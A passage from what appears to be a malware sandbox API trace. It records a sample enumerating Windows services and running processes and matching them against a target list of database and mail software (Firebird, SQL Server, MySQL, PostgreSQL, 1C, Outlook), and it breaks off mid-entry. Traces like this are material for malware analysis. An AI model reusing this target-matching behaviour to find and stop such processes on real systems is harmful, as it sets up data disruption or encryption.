1 [0050.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0050.390] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0050.390] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0050.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0050.390] lstrlenW (lpString="EventSystem") returned 11 [0050.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0050.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0050.390] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0050.390] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0050.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0050.390] lstrlenW (lpString="gpsvc") returned 5 [0050.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0050.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0050.390] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0050.390] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0050.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0050.390] lstrlenW (lpString="iphlpsvc") returned 8 [0050.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.390] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0050.390] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0050.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0050.390] lstrlenW (lpString="LanmanServer") returned 12 [0050.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0050.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0050.390] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0050.390] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0050.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0050.390] lstrlenW (lpString="LanmanWorkstation") returned 17 [0050.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.390] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.390] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0050.390] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0050.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0050.391] lstrlenW (lpString="lmhosts") returned 7 [0050.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0050.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0050.391] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0050.391] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0050.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0050.391] lstrlenW (lpString="MMCSS") returned 5 [0050.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0050.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0050.391] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0050.391] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0050.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0050.391] lstrlenW (lpString="MpsSvc") returned 6 [0050.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0050.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0050.391] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0050.391] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0050.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0050.391] lstrlenW (lpString="Netman") returned 6 [0050.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0050.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0050.391] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0050.391] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0050.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0050.391] lstrlenW (lpString="netprofm") returned 8 [0050.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0050.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0050.391] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0050.391] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0050.391] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0050.391] lstrlenW (lpString="NlaSvc") returned 6 [0050.391] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0050.391] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0050.391] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0050.391] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0050.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0050.392] lstrlenW (lpString="nsi") returned 3 [0050.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0050.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0050.392] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0050.392] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0050.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0050.392] lstrlenW (lpString="PcaSvc") returned 6 [0050.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0050.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0050.392] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0050.392] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0050.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0050.392] lstrlenW (lpString="PlugPlay") returned 8 [0050.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0050.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0050.392] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0050.392] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0050.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0050.392] lstrlenW (lpString="Power") returned 5 [0050.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0050.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0050.392] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0050.392] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0050.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0050.392] lstrlenW (lpString="ProfSvc") returned 7 [0050.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0050.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0050.392] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0050.392] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0050.392] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0050.392] lstrlenW (lpString="RpcEptMapper") returned 12 [0050.392] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.392] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.393] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0050.393] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0050.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0050.393] lstrlenW (lpString="RpcSs") returned 5 [0050.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0050.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0050.393] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0050.393] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0050.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0050.393] lstrlenW (lpString="SamSs") returned 5 [0050.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0050.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0050.393] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0050.393] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0050.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0050.393] lstrlenW (lpString="Schedule") returned 8 [0050.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0050.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0050.393] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0050.393] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0050.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0050.393] lstrlenW (lpString="SENS") returned 4 [0050.393] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0050.393] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0050.393] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0050.393] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0050.393] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0050.393] lstrlenW (lpString="ShellHWDetection") returned 16 [0050.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.394] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0050.394] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0050.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0050.394] lstrlenW (lpString="Spooler") returned 7 [0050.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0050.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0050.394] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0050.394] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0050.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0050.394] lstrlenW (lpString="swprv") returned 5 [0050.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0050.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0050.394] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0050.394] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0050.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0050.394] lstrlenW (lpString="SysMain") returned 7 [0050.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0050.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0050.394] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0050.394] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0050.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0050.394] lstrlenW (lpString="Themes") returned 6 [0050.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0050.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0050.394] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0050.394] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0050.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0050.394] lstrlenW (lpString="TrkWks") returned 6 [0050.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0050.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0050.394] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0050.394] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0050.394] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0050.394] lstrlenW (lpString="UxSms") returned 5 [0050.394] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0050.394] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0050.395] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0050.395] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0050.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0050.395] lstrlenW (lpString="VSS") returned 3 [0050.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0050.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0050.395] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0050.395] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0050.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0050.395] lstrlenW (lpString="WdiServiceHost") returned 14 [0050.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.395] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0050.395] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0050.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0050.395] lstrlenW (lpString="WdiSystemHost") returned 13 [0050.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0050.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0050.395] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0050.395] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0050.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0050.395] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0050.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.395] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0050.395] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0050.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0050.395] lstrlenW (lpString="Winmgmt") returned 7 [0050.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0050.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0050.395] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0050.395] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0050.395] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0050.395] lstrlenW (lpString="WPDBusEnum") returned 10 [0050.395] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0050.395] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0050.396] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0050.396] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0050.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0050.396] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63e068 | out: hHeap=0x5f0000) returned 1 [0050.396] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x204 [0050.398] Process32FirstW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0050.398] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0050.399] lstrlenW (lpString="System") returned 6 [0050.399] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0050.399] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0050.399] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0050.399] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0050.399] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0050.399] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0050.399] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0050.399] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0050.402] lstrlenW (lpString="smss.exe") returned 8 [0050.402] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0050.402] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0050.402] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0050.402] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0050.402] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0050.402] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0050.402] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0050.402] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.403] lstrlenW (lpString="csrss.exe") returned 9 [0050.403] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0050.403] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0050.403] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0050.403] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0050.403] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0050.403] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0050.403] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0050.403] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0050.403] lstrlenW (lpString="wininit.exe") returned 11 [0050.404] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0050.404] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0050.404] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0050.404] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.406] lstrlenW (lpString="csrss.exe") returned 9 [0050.406] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0050.406] lstrlenW (lpString="winlogon.exe") returned 12 [0050.406] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0050.408] lstrlenW (lpString="services.exe") returned 12 [0050.409] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0050.409] lstrlenW (lpString="lsass.exe") returned 9 [0050.409] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0050.410] lstrlenW (lpString="lsm.exe") returned 7 [0050.410] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.429] lstrlenW (lpString="svchost.exe") returned 11 [0050.429] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.430] lstrlenW (lpString="svchost.exe") returned 11 [0050.430] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.431] lstrlenW (lpString="svchost.exe") returned 11 [0050.431] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.432] lstrlenW (lpString="svchost.exe") returned 11 [0050.432] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.433] lstrlenW (lpString="svchost.exe") returned 11 [0050.433] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0050.433] lstrlenW (lpString="audiodg.exe") returned 11 [0050.433] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.434] lstrlenW (lpString="svchost.exe") returned 11 [0050.434] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.435] lstrlenW (lpString="svchost.exe") returned 11 [0050.435] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0050.435] lstrlenW (lpString="dwm.exe") returned 7 [0050.435] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0050.436] lstrlenW (lpString="explorer.exe") returned 12 [0050.436] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0050.437] lstrlenW (lpString="spoolsv.exe") returned 11 [0050.437] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0050.437] lstrlenW (lpString="taskhost.exe") returned 12 [0050.437] Process32NextW (in: hSnapshot=0x204, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, 